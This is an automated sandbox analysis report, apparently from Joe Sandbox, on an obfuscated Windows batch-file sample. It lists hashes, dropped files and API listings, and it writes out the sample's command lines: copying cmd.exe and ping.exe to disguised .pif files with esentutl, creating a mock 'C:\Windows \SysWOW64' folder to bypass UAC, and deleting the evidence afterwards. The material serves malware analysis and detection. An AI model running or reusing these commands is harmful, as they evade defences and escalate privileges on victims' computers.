Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........OH...&...&...&..V...&..E%...&..E"...&...'../&..E'...&..E#...&..E+...&..E....&..E$...&.Rich..&.................PE..d...S.............".................P..........@.............................p............`.................................................(...................4#...........`......`Z..T............................,...............4...... ........................text............................... ..`.rdata..<.... ......................@..@.data...P...........................@....pdata..4#.......$..................@..@.didat..............................@....rsrc...............................@..@.reloc.......`.......h..............@..B........................................................................................................................................................................................................................

C:\Users\Public\xpha.pif

Download File

Process:	C:\Windows\System32\esentutl.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22528
Entropy (8bit):	5.358141004461096
Encrypted:	false
SSDEEP:	384:Js9qZDngKcZhS6JLFULEg9PhayhN9dsv/45rJLQhW79WBlW:JsgZbgZZGa49snUrJLQ5
MD5:	2F46799D79D22AC72C241EC0322B011D
SHA1:	9C13C854A4EF98879D0CAB80EF679B4C4ECCF518
SHA-256:	7AF50FA112932EA3284F7821B2EEA2B7582F558DBA897231BB82182003C29F8B
SHA-512:	D0274C6047A788F87ADEF7E125F65D80D0DFCDD54A00C0EF5AF22466E807802F2126C5DB2F61A419D71C8A323095116FB72A648413C38E17BA82F2C4394DEFF2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........(X-RI6~RI6~RI6~[1.~tI6~F"3.PI6~F"5.PI6~F"2.@I6~RI7~.I6~F"7.QI6~F">.VI6~F".~SI6~F"4.SI6~RichRI6~................PE..d....\..........."..........>.......5.........@.....................................5....`.......... .......................................I.......... ....................... ....E..T............................@..............(A...............................text...`,.......................... ..`.rdata..0....@.......2..............@..@.data........`.......H..............@....pdata...............J..............@..@.rsrc... ............L..............@..@.reloc.. ............V..............@..B................................................................................................................................................................................................................................................................

\Device\Null

Download File

Process:	C:\Windows\System32\esentutl.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	560
Entropy (8bit):	4.54397131958299
Encrypted:	false
SSDEEP:	12:q6p4xTXWIceSbZ7u0wxDDDDDDDDjCaY5G4aYA1S4TB8NGNX:/p4xT5cp7u0wQakG4aTS4t8Nq
MD5:	0960CDA3A5AED073C62272724F882535
SHA1:	16ABACC018A7BACF778F9A31C21CAF7A5F570CFA
SHA-256:	A46AA12E2EBF5DF7BECE9EC1DF78039FBA05BD5532F88C3C50F829C3B0CAC82C
SHA-512:	7602C59DC420227F012F8881BC740BE31865D8AB2BE79C57995DC68162D71C9F539DB88439194872C58D9B67E604A0A310933DF9A1BAF645E5451E654E537F9E
Malicious:	false
Preview:	..Initiating COPY FILE mode..... Source File: C:\\Windows\\System32\\ping.exe...Destination File: C:\\Users\\Public\\xpha.pif...... Copy Progress (% complete)...... 0 10 20 30 40 50 60 70 80 90 100... \|----\|----\|----\|----\|----\|----\|----\|----\|----\|----\|... ..........................................................Total bytes read = 0x5800 (22528) (0 MB)....Total bytes written = 0x6000 (24576) (0 MB).......Operation completed successfully in 0.78 seconds.....

Static File Info

General

File type:	DOS batch file, Unicode text, UTF-8 text, with very long lines (324), with CRLF line terminators
Entropy (8bit):	4.705712327109906
TrID:
File name:	iuhmzvlH.cmd
File size:	62'357 bytes
MD5:	b87f096cbc25570329e2bb59fee57580
SHA1:	d281d1bf37b4fb46f90973afc65eece3908532b2
SHA256:	d08ccc9b1e3acc205fe754bad8416964e9711815e9ceed5e6af73d8e9035ec9e
SHA512:	72901adde38f50cf6d74743c0a546c0fea8b1cd4a18449048a0758a7593a176fc33aad1ebfd955775eefc2b30532bcc18e4f2964b3731b668dd87d94405951f7
SSDEEP:	768:KwVRHlxGSbE0l9swi54HlMhhAKHwT6yQZPtQdtyWNd/Ozc:LbeSI0l9swahhhtwT6VytHNdGzc
TLSH:	2D53BB283091C89B8243D4D4CF41D92CBA6B6EA9FD843473598D47B72D790E4F2BB9E4
File Content Preview:	@echo off..@echo off..@%.....................%e%......%c%.........%h%............ .........%o%......................% %...%o%...............%f%.........%f% ....................%..s%...%e%............ %t%r...o..................% %............%"%...........

File Icon


Icon Hash:	9686878b929a9886

Target ID:	0
Start time:	02:11:02
Start date:	26/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\iuhmzvlH.cmd" "
Imagebase:	0x7ff6d5530000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:11:02
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:11:02
Start date:	26/11/2024
Path:	C:\Windows\System32\esentutl.exe
Wow64 process (32bit):	false
Commandline:	C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o
Imagebase:	0x7ff621b40000
File size:	409'600 bytes
MD5 hash:	E2098B56CF093E165D030E27591CE498
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:11:03
Start date:	26/11/2024
Path:	C:\Windows\System32\esentutl.exe
Wow64 process (32bit):	false
Commandline:	C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /o
Imagebase:	0x7ff621b40000
File size:	409'600 bytes
MD5 hash:	E2098B56CF093E165D030E27591CE498
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:11:03
Start date:	26/11/2024
Path:	C:\Users\Public\alpha.pif
Wow64 process (32bit):	false
Commandline:	C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows "
Imagebase:	0x7ff718d40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:11:03
Start date:	26/11/2024
Path:	C:\Users\Public\alpha.pif
Wow64 process (32bit):	false
Commandline:	C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows \SysWOW64"
Imagebase:	0x7ff718d40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:11:03
Start date:	26/11/2024
Path:	C:\Users\Public\alpha.pif
Wow64 process (32bit):	false
Commandline:	C:\\Users\\Public\\alpha.pif /c C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10
Imagebase:	0x7ff718d40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:11:03
Start date:	26/11/2024
Path:	C:\Users\Public\xpha.pif
Wow64 process (32bit):	false
Commandline:	C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10
Imagebase:	0x7ff6f7630000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:11:13
Start date:	26/11/2024
Path:	C:\Users\Public\alpha.pif
Wow64 process (32bit):	false
Commandline:	C:\\Users\\Public\\alpha.pif /c del "C:\Users\Public\xpha.pif"
Imagebase:	0x7ff718d40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:11:13
Start date:	26/11/2024
Path:	C:\Users\Public\alpha.pif
Wow64 process (32bit):	false
Commandline:	C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \SysWOW64
Imagebase:	0x7ff718d40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	02:11:13
Start date:	26/11/2024
Path:	C:\Users\Public\alpha.pif
Wow64 process (32bit):	false
Commandline:	C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \"
Imagebase:	0x7ff718d40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	35.4%
Total number of Nodes:	1227
Total number of Limit Nodes:	8

Executed Functions

Function 00007FF718D4AA54 Relevance: 51.3, APIs: 24, Strings: 5, Instructions: 536
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF718D4CD90: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D4B9A1,?,?,?,?,00007FF718D4D81A), ref: 00007FF718D4CDA6
Part of subcall function 00007FF718D4CD90: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D4B9A1,?,?,?,?,00007FF718D4D81A), ref: 00007FF718D4CDBD

wcschr.MSVCRT ref: 00007FF718D4AAB6
towlower.MSVCRT ref: 00007FF718D4AAD5
memset.MSVCRT ref: 00007FF718D4AC27
wcschr.MSVCRT ref: 00007FF718D4AC3C
wcschr.MSVCRT ref: 00007FF718D4AC60
wcsrchr.MSVCRT ref: 00007FF718D4AC9B
wcschr.MSVCRT ref: 00007FF718D4AD82
wcschr.MSVCRT ref: 00007FF718D4AD9D
wcschr.MSVCRT ref: 00007FF718D4ADB8
wcschr.MSVCRT ref: 00007FF718D4ADD3
wcschr.MSVCRT ref: 00007FF718D4ADEE
wcschr.MSVCRT ref: 00007FF718D4AE09
iswspace.MSVCRT ref: 00007FF718D4AE30

Strings

OFF, xrefs: 00007FF718D5BC32, 00007FF718D5BC92, 00007FF718D5BD0A
:ON, xrefs: 00007FF718D5BD37
:, xrefs: 00007FF718D5BC86
:, xrefs: 00007FF718D5BC26
:, xrefs: 00007FF718D5BCFE

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: wcschr$Heap$AllocProcessiswspacememsettowlowerwcsrchr
String ID: :$:$:$:ON$OFF
API String ID: 972821348-467788257
Opcode ID: ec77655612b2197603e506f96a5fdd07df98b32b07624a2fc81e4f2603e93a28
Instruction ID: 3899f5b58632f2d57bad750863e14eadcb2ef4c251859ad5345cd454f452a09f
Opcode Fuzzy Hash: ec77655612b2197603e506f96a5fdd07df98b32b07624a2fc81e4f2603e93a28
Instruction Fuzzy Hash: 0322C221A08F4A86FB54BF219415279E6B1EF4DBA0FC88176C98E47794DF3CA44C8729

Function 00007FF718D551EC Relevance: 45.9, APIs: 15, Strings: 11, Instructions: 384
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF718D55508: GetUserDefaultLCID.KERNELBASE(?,?,?,?,00007FF718D46F97), ref: 00007FF718D5550C

GetLocaleInfoW.KERNELBASE ref: 00007FF718D55237
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D55260
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D552AB
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D552F7
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D55335
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D55360
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D55388
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D553B0
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D553D8
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D55400
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D55428
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D55450
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D55478
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D554A0
setlocale.MSVCRT ref: 00007FF718D554BD

Strings

Fri, xrefs: 00007FF718D5F0FE
Mon, xrefs: 00007FF718D5EFF2
.OCP, xrefs: 00007FF718D554B4
dd/MM/yy, xrefs: 00007FF718D5EFA3
Sun, xrefs: 00007FF718D5F184
Tue, xrefs: 00007FF718D5F035
MM/dd/yy, xrefs: 00007FF718D552D0
Wed, xrefs: 00007FF718D5F078
yy/MM/dd, xrefs: 00007FF718D5EF8D
Thu, xrefs: 00007FF718D5F0BB
Sat, xrefs: 00007FF718D5F141

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: InfoLocale$DefaultUsersetlocale
String ID: .OCP$Fri$MM/dd/yy$Mon$Sat$Sun$Thu$Tue$Wed$dd/MM/yy$yy/MM/dd
API String ID: 1351325837-2236139042
Opcode ID: 2a4578c534326ca189a6d67b8d7d5f73ffb3ac0fc7df7dd3f0f26b29881ec2ab
Instruction ID: 8161ed9b0cdea9e0b2741457a39ebb61d6d9dba22c0652d29eba2148c7a1af0a
Opcode Fuzzy Hash: 2a4578c534326ca189a6d67b8d7d5f73ffb3ac0fc7df7dd3f0f26b29881ec2ab
Instruction Fuzzy Hash: 96F14B25B08B4A85EB15AF15D5102B9E2B4BF0DBA4FD44236DA8D477A4EF3CE50DC328

Function 00007FF718D55554 Relevance: 45.8, APIs: 18, Strings: 8, Instructions: 295
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(?,00000000,?,00000001,?,00007FF718D54E35), ref: 00007FF718D555DA
RegQueryValueExW.KERNELBASE ref: 00007FF718D55623
RegQueryValueExW.KERNELBASE ref: 00007FF718D55667
RegQueryValueExW.KERNELBASE ref: 00007FF718D556BE
RegQueryValueExW.KERNELBASE ref: 00007FF718D55702
RegQueryValueExW.KERNELBASE ref: 00007FF718D55759
RegQueryValueExW.KERNELBASE ref: 00007FF718D557CF
RegQueryValueExW.KERNELBASE ref: 00007FF718D55862
RegCloseKey.KERNELBASE ref: 00007FF718D5587B
time.MSVCRT(?,00000000,?,00000001,?,00007FF718D54E35), ref: 00007FF718D55896
srand.MSVCRT ref: 00007FF718D558A5

Strings

DelayedExpansion, xrefs: 00007FF718D556B7
DefaultColor, xrefs: 00007FF718D556FB
Software\Microsoft\Command Processor, xrefs: 00007FF718D555D3
AutoRun, xrefs: 00007FF718D5585B
EnableExtensions, xrefs: 00007FF718D55660
PathCompletionChar, xrefs: 00007FF718D557C8
DisableUNCCheck, xrefs: 00007FF718D55614
CompletionChar, xrefs: 00007FF718D55752

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: QueryValue$CloseOpensrandtime
String ID: AutoRun$CompletionChar$DefaultColor$DelayedExpansion$DisableUNCCheck$EnableExtensions$PathCompletionChar$Software\Microsoft\Command Processor
API String ID: 145004033-3846321370
Opcode ID: 7805ef0751f17a64bc231b327674b43fa69c0befe7df2b1e52c817e25d9d9668
Instruction ID: cb7799b12b6521e97310c5ca65dc329cbd234d29441052a8e0563b1355e43f39
Opcode Fuzzy Hash: 7805ef0751f17a64bc231b327674b43fa69c0befe7df2b1e52c817e25d9d9668
Instruction Fuzzy Hash: 2BE13A32519F8A86E751AB10E44017AF7B0FB89765FC05236EACE42A58DF7CE54CCB24

Function 00007FF718D537D8 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 269
registrythreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF718D5380B
OpenThread.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF718D53821
HeapSetInformation.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D53845
RegOpenKeyExW.KERNELBASE ref: 00007FF718D53875
GetConsoleOutputCP.KERNELBASE ref: 00007FF718D538BF
GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D538DD
memset.MSVCRT ref: 00007FF718D53909
_setjmp.MSVCRT ref: 00007FF718D53952
GetConsoleOutputCP.KERNELBASE ref: 00007FF718D5398B
GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D539A2
RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF718D5EA1F
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF718D5EA2F

Part of subcall function 00007FF718D55920: VirtualQuery.API-MS-WIN-CORE-MEMORY-L1-1-0(?,?,?,?,?,?,00000000,00000000,00000000,00007FF718D5B71F), ref: 00007FF718D55997
Part of subcall function 00007FF718D55920: VirtualQuery.API-MS-WIN-CORE-MEMORY-L1-1-0(?,?,?,?,?,?,00000000,00000000,00000000,00007FF718D5B71F), ref: 00007FF718D559C5

GetThreadLocale.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D5EA41

Strings

DisableCMD, xrefs: 00007FF718D5EA18
Software\Policies\Microsoft\Windows\System, xrefs: 00007FF718D53867

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: QueryThread$ConsoleInfoOpenOutputVirtual$CloseCurrentHeapInformationLocaleValue_setjmpmemset
String ID: DisableCMD$Software\Policies\Microsoft\Windows\System
API String ID: 2624720099-1920437939
Opcode ID: 0bf09e208e1b0c6bea64f33002f51ec0bb7d1cb9bc02841e8aeeb1d0e4bcf9a4
Instruction ID: f3a5d52e787c499db80ef41b758dbff7cf1eb4f250ecf78b3a4b347f963f2960
Opcode Fuzzy Hash: 0bf09e208e1b0c6bea64f33002f51ec0bb7d1cb9bc02841e8aeeb1d0e4bcf9a4
Instruction Fuzzy Hash: 25C1C131E08F4A8AF714BB609441178FAB1FF4E734FC4823AD99E56695DE3CA44D8728

Function 00007FF718D52978 Relevance: 9.1, APIs: 6, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 449607d8b30cf2fcca0a8811105e09d4af6f68671a5f8fd8d6b2897c28d3601c
Instruction ID: 7d3d4f061d33efecd404d077a79c841b505941160734e29a406f1e165d341a09
Opcode Fuzzy Hash: 449607d8b30cf2fcca0a8811105e09d4af6f68671a5f8fd8d6b2897c28d3601c
Instruction Fuzzy Hash: F651D621B08B8685EB20AB15D54427AE770FB58BB4FC44332DEAD076D1DF3CE44D8614

Function 00007FF718D54A14 Relevance: 7.5, APIs: 5, Instructions: 49
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000000,00007FF718D549F1), ref: 00007FF718D54A28
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D549F1), ref: 00007FF718D54A66
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D549F1), ref: 00007FF718D54A7D
memmove.MSVCRT(?,?,00000000,00007FF718D549F1), ref: 00007FF718D54A9A
FreeEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000000,00007FF718D549F1), ref: 00007FF718D54AA2

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: EnvironmentHeapStrings$AllocFreeProcessmemmove
String ID:
API String ID: 1623332820-0
Opcode ID: 1c74cb7d747f94bb3f8ccfe64acdf6d421a13f5ebefc0e59dd75b6ffc5c77824
Instruction ID: 49b706479c9ec15682a12ec367f5ad59a9c100a2f86f5e4e780a5cf160e3329a
Opcode Fuzzy Hash: 1c74cb7d747f94bb3f8ccfe64acdf6d421a13f5ebefc0e59dd75b6ffc5c77824
Instruction Fuzzy Hash: 6B11C122B04B5682DF54AB02A004039FBB1FB8DFA8BC88135DE8E03744DE3CE44C8728

Function 00007FF718D47D30 Relevance: 3.3, APIs: 2, Instructions: 252COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D47DA1

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

Part of subcall function 00007FF718D5417C: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D541AD

Part of subcall function 00007FF718D4D3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4D46E
Part of subcall function 00007FF718D4D3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4D485
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D4EE
Part of subcall function 00007FF718D4D3F0: iswspace.MSVCRT ref: 00007FF718D4D54D
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D569
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D58C

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D47EB7

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: wcschr$Heapmemset$AllocCurrentDirectoryProcessiswspace
String ID:
API String ID: 168394030-0
Opcode ID: b6050c66f82dc7928a1abc4fa5bbb3c506f83fcae6e66a9ce87afb692c1e7a8d
Instruction ID: b6caba322b15b6d30f6027e2d6eaeaea24ece01cf2eeca58cbde49c46beb5303
Opcode Fuzzy Hash: b6050c66f82dc7928a1abc4fa5bbb3c506f83fcae6e66a9ce87afb692c1e7a8d
Instruction Fuzzy Hash: C3A11521B08F4A85FB24AB2994416B9E3B1BF8D7A4FC44232D99D47AD5DF3CE40D8714

Function 00007FF718D54D5C Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 268
memorylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D54D9A

Part of subcall function 00007FF718D558E4: EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,00007FF718D6C6DB), ref: 00007FF718D558EF

SetConsoleCtrlHandler.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D54DBB
_get_osfhandle.MSVCRT ref: 00007FF718D54DCA
GetConsoleMode.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D54DE0
_get_osfhandle.MSVCRT ref: 00007FF718D54DEE
GetConsoleMode.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D54E04

Part of subcall function 00007FF718D50580: _get_osfhandle.MSVCRT ref: 00007FF718D50589
Part of subcall function 00007FF718D50580: SetConsoleMode.KERNELBASE ref: 00007FF718D5059E
Part of subcall function 00007FF718D50580: _get_osfhandle.MSVCRT ref: 00007FF718D505AF
